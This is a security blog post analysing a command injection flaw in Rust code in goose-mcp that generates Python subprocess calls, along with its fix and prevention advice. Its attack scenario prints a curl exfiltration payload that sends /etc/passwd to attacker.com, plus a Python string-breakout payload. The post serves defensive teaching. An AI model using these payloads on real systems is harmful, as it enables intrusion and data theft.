Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Rust-generated Python scripts and how to fix it

A critical command injection vulnerability (CWE-78) was discovered in the Linux automation module of the `goose-mcp` crate, where Rust code generated Python scripts that passed user-controlled commands directly to `subprocess.run()` with `shell=True`. An attacker who could influence the `commands` parameter in `execute_system_script()` could inject arbitrary shell commands using metacharacters like `;`, `|`, or backticks. The fix replaces `shell=True` with `shlex.split()` and `shell=False`, and

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in `crates/goose-mcp/src/computercontroller/platform/linux.rs`, where Rust code generated Python scripts that called `subprocess.run(cmd, shell=True)` with unescaped, user-controlled input. Any attacker controlling the `commands` parameter could inject shell metacharacters (`;`, `|`, `` ` ``, `$()`) to execute arbitrary OS commands. The fix switches to `subprocess.run(shlex.split(cmd), shell=False)` and escapes backslashes and single quotes before embedding commands in the generated script, eliminating the shell interpretation layer entirely.

Vulnerability at a Glance

cweCWE-78
fixSwitch to `shell=False` with `shlex.split()` and escape single quotes and backslashes before string interpolation
riskArbitrary OS command execution on the host system
languageRust (generating Python)
root causeUser-controlled strings interpolated unescaped into `subprocess.run(..., shell=True)` calls in Rust-generated Python scripts
vulnerabilityOS Command Injection

How Command Injection Happens in Rust-Generated Python Scripts and How to Fix It


The Vulnerability at a Glance

Field Detail
Vulnerability OS Command Injection
CWE CWE-78
Language Rust (generating Python)
Risk Arbitrary OS command execution
Root Cause Unsanitized user input in subprocess.run(..., shell=True)
Fix shell=False + shlex.split() + quote escaping

Introduction

The linux.rs file inside crates/goose-mcp/src/computercontroller/platform/ is responsible for automating system-level interactions on Linux hosts. It does something architecturally interesting — and, as it turned out, dangerous: it generates Python scripts at runtime in Rust, then executes them. A flaw in how those scripts were constructed at line 185 meant that anyone who could influence the commands parameter passed to execute_system_script() could run arbitrary OS commands on the host.

The vulnerability is a textbook CWE-78 (OS Command Injection), but with a twist that makes it easy to miss in code review: the injection point is in Rust string formatting code, and the dangerous call is in Python. The two-language boundary obscures the taint flow.


The Vulnerability Explained

The Dangerous Pattern

The vulnerable code generated a Python helper script in Rust. Here is the relevant run_command function that was being written into the script:

# Generated by vulnerable Rust code
def run_command(cmd):
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        print(f"Error executing {cmd}: {e}", file=sys.stderr)

And the Rust code that built the per-command calls was:

// VULNERABLE — before the fix
for cmd in commands {
    script.push_str(&format!("run_command('{}')\n", cmd));
}

Two problems compound here:

  1. shell=True in Python's subprocess.run() tells the OS to pass the command string to /bin/sh -c. This means every shell metacharacter — ;, |, &, $(), backticks — is interpreted by the shell.

  2. No escaping before string interpolation in Rust. The format!("run_command('{}')\n", cmd) call inserts the raw value of cmd directly into the Python source code. If cmd contains a single quote, it breaks out of the Python string literal. If it contains a semicolon, the shell treats it as a command separator.

Attack Scenario

Imagine an attacker who can influence the commands vector passed into execute_system_script() — perhaps through an API endpoint, a plugin input, or an LLM-controlled tool invocation. They supply:

echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The Rust code generates this Python:

run_command('echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)')

When the Python script runs, /bin/sh receives:

echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The shell executes both commands. /etc/passwd is exfiltrated. The attacker can escalate from there — writing files, spawning reverse shells, or pivoting within the container network.

A simpler payload demonstrates the issue even more starkly:

'; import os; os.system('id') #

This would break out of the Python string entirely and inject arbitrary Python code into the generated script.

Why the Two-Language Boundary Is Dangerous

This vulnerability is subtle because the injection point (Rust string formatting) and the execution point (Python subprocess) are in different languages. A developer auditing only the Rust code might not notice that the formatted string becomes executable Python. A developer auditing only the Python function signature might not realize that cmd is user-controlled. Static analysis tools that don't model cross-language code generation can miss this class of bug entirely.


The Fix

The fix addresses both root causes: the shell interpretation layer, and the lack of escaping before interpolation.

Before and After

Before (vulnerable):

// In create_python_script() — the generated Python function
r#"
def run_command(cmd):
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        print(f"Error executing {cmd}: {e}", file=sys.stderr)
"#

// Command interpolation — no escaping
for cmd in commands {
    script.push_str(&format!("run_command('{}')\n", cmd));
}

After (fixed):

// Fixed Python function — shell=False, shlex.split() for tokenization
r#"
import shlex

def run_command(cmd):
    try:
        result = subprocess.run(shlex.split(cmd), shell=False, capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        print(f"Error executing {cmd}: {e}", file=sys.stderr)
"#

// Command interpolation — backslash and single-quote escaping
for cmd in commands {
    let escaped = cmd.replace('\\', "\\\\").replace('\'', "\\'");
    script.push_str(&format!("run_command('{}')\n", escaped));
}

Why Each Change Matters

1. shell=False eliminates the shell interpretation layer.

With shell=True, Python passes the entire command string to /bin/sh -c "...". Every shell metacharacter is live. With shell=False, Python calls execvp() directly — the OS receives the program name and argument list, and there is no shell involved to interpret ;, |, $(), or backticks. This is the most impactful single change.

2. shlex.split() safely tokenizes the command string.

Since shell=False requires a list of arguments rather than a single string, shlex.split(cmd) is used to parse "ls -la /tmp" into ["ls", "-la", "/tmp"]. Crucially, shlex.split() handles quoted strings and escape sequences according to POSIX shell rules, so "echo 'hello world'" becomes ["echo", "hello world"] — a single argument, not two.

3. Escaping backslashes and single quotes in Rust prevents Python string-literal injection.

Even with shell=False, a malicious cmd value containing a single quote could still break out of the Python string literal and inject arbitrary Python code into the generated script. The two-step Rust escaping:

let escaped = cmd.replace('\\', "\\\\").replace('\'', "\\'");

ensures that a cmd of '; os.system('id') becomes \'; os.system(\'id\') inside the Python source — which is interpreted as a literal string value, not a code injection.

Note on ordering: The backslash replacement must come first. Replacing ' before \\ would cause the newly inserted \\ escape sequences to be double-escaped in a second pass.


Prevention & Best Practices

1. Never Use shell=True with Non-Literal Input

In Python, treat shell=True as a red flag whenever the command string contains anything that isn't a hard-coded literal. The Python documentation itself warns:

"Using shell=True can be a security hazard if combined with untrusted input."

Default to shell=False and pass arguments as a list.

2. Use shlex.quote() When You Must Build Shell Strings

If you genuinely need shell features (globbing, pipes, redirects) and cannot avoid shell=True, use shlex.quote() to escape each individual argument before interpolating it:

import shlex
safe_cmd = f"ls {shlex.quote(user_input)}"
subprocess.run(safe_cmd, shell=True)

3. Be Especially Careful with Code Generation

When one language generates source code in another (as Rust does here generating Python), you must reason about two levels of injection: injection into the generated source code (Python string literal injection), and injection at the execution layer (shell metacharacters). Apply escaping appropriate to each layer.

4. Validate and Allowlist Where Possible

If the set of valid commands is known and bounded, validate cmd against an allowlist before generating the script. This provides defense-in-depth even if the escaping logic has a flaw.

5. Use Static Analysis Tools

  • Bandit (B603, B604): Detects subprocess calls with shell=True in Python.
  • Semgrep: Rules like python.lang.security.audit.subprocess-shell-true flag this pattern.
  • Cargo-audit / custom rules: For Rust codebases that generate scripts, consider custom Semgrep rules that trace format!() calls that produce shell-executed strings.

6. Apply the Principle of Least Privilege

Even with the fix in place, the generated scripts run with the privileges of the parent process. In containerized deployments, ensure the process runs as a non-root user and with a minimal seccomp profile to limit the blast radius of any future bypass.


Key Takeaways

  • shell=True is the root cause, not just a contributing factor. Switching to shell=False with a list of arguments removes the entire class of shell-metacharacter injection, regardless of what the input contains.
  • Cross-language code generation creates hidden taint flows. The injection point was in Rust (format!(..., cmd)), but the sink was in Python (subprocess.run(..., shell=True)). Always trace data flow across language boundaries when generating executable code.
  • Escaping order matters in multi-layer string construction. In the Rust fix, backslashes must be escaped before single quotes; reversing the order would re-introduce a vulnerability.
  • shlex.split() is not a security control by itself — it tokenizes safely, but the real protection comes from shell=False making the tokenized list irrelevant to shell interpretation.
  • LLM-driven tools that pass commands to system automation modules are high-value injection targets. If a language model can influence the commands parameter, prompt injection becomes a path to OS command injection.

How Orbis AppSec Detected This

  • Source: The commands parameter passed to execute_system_script() in linux.rs — user- or LLM-controlled strings with no prior sanitization.
  • Sink: subprocess.run(cmd, shell=True, ...) inside the Python script generated at line 185 of crates/goose-mcp/src/computercontroller/platform/linux.rs.
  • Missing control: No escaping of shell metacharacters or Python string-literal special characters before interpolation; shell=True enabled shell interpretation of the full command string.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced shell=True with shell=False + shlex.split() in the generated Python, and added backslash/single-quote escaping in the Rust string interpolation loop.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a reminder that command injection doesn't always look like a SQL string concatenation or a raw exec() call. When Rust generates Python that invokes shell commands, the dangerous pattern is split across two languages and two abstraction layers — making it easy to overlook in manual review. The fix is clean and surgical: shell=False removes the attack surface at the OS level, shlex.split() handles argument tokenization correctly, and explicit escaping in Rust prevents Python source-level injection. Together, these changes enforce the security invariant that shell commands never include unsanitized user input.

For developers building automation tools, agent frameworks, or any system that constructs and executes scripts from dynamic input: treat every format!() call that feeds into an executed script as a potential injection point, and apply the same rigor you would to a SQL query builder or an HTML template renderer.


References

Frequently Asked Questions

What is OS command injection?

OS command injection (CWE-78) occurs when user-controlled input is passed to a shell command without sanitization, allowing attackers to append or inject additional commands using metacharacters like `;`, `|`, `&`, or `$()`.

How do you prevent command injection in Python subprocess calls?

Pass commands as a list of arguments to `subprocess.run()` with `shell=False` instead of a single string with `shell=True`. Use `shlex.split()` to safely tokenize command strings, and never interpolate user input directly into shell command strings.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input validation alone enough to prevent command injection?

Input validation can reduce risk but is not sufficient on its own. The most reliable fix is to avoid shell interpretation entirely by using `shell=False` and passing arguments as a list, making shell metacharacters irrelevant.

Can static analysis detect command injection?

Yes. Static analysis tools like Semgrep, Bandit (for Python), and multi-agent AI scanners can detect patterns like `subprocess.run(..., shell=True)` with non-literal arguments. This specific vulnerability was flagged by the `multi_agent_ai` scanner rule `V-001`.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #10748

Related Articles

high

How Shell Injection via os.system() happens in Python and how to fix it

A shell injection vulnerability in TensorFlow's DELF dataset download script allowed attackers who controlled the `data_dir` parameter to execute arbitrary shell commands by injecting metacharacters into `os.system()` calls. The fix replaces all four `os.system()` invocations with `subprocess.run()` using argument lists, eliminating shell interpretation entirely. This change closes a high-severity code execution path in production ML infrastructure.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

critical

How Remote Code Execution via Security Fix Bypass happens in Node.js and how to fix it

CVE-2026-28292 is a critical Remote Code Execution vulnerability in the `simple-git` Node.js library that allowed attackers to bypass previously applied security fixes. Applications using `simple-git` versions below 3.32.3 remained exposed even after earlier patches, and upgrading to 3.32.3 — which introduced hardened argument parsing via new `@simple-git/argv-parser` and `@simple-git/args-pathspec` sub-packages — closes the bypass. This fix is especially urgent because the vulnerability affects

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators in parsed shell arguments could allow attackers to inject and execute arbitrary commands. The fix upgrades shell-quote to version 1.8.4 and pins the resolution in both `package.json` and `yarn.lock` to ensure the patched version is used across the entire dependency tree. Because this package is used in a production web application that processes user-influenced input,

critical

How Command Injection happens in Python PopClip Extensions and how to fix it

A critical command injection vulnerability was discovered in `contrib/Klipz.popclipext/Klipz.py`, where user-controlled clipboard content was concatenated directly into shell commands executed via `osascript`. The fix replaces unsafe string concatenation with `subprocess` and proper argument lists, and replaces the unsafe `pickle` serialization with `json` to eliminate a secondary deserialization risk. Together, these changes close two distinct attack surfaces in a single file.

critical

How Archive Path Traversal Happens in Node.js and How to Fix It

CVE-2026-53486 is a critical path traversal vulnerability in the Decompress library, where crafted archive entries can write files and symbolic links outside the intended extraction directory. This vulnerability was transitively introduced through `@vitest/browser` and related packages pinned at version 4.1.5, and was resolved by upgrading to 4.1.6 and 5.0.0-beta.3. Left unpatched, an attacker who controls an archive file processed by any downstream consumer of this dependency chain could overwr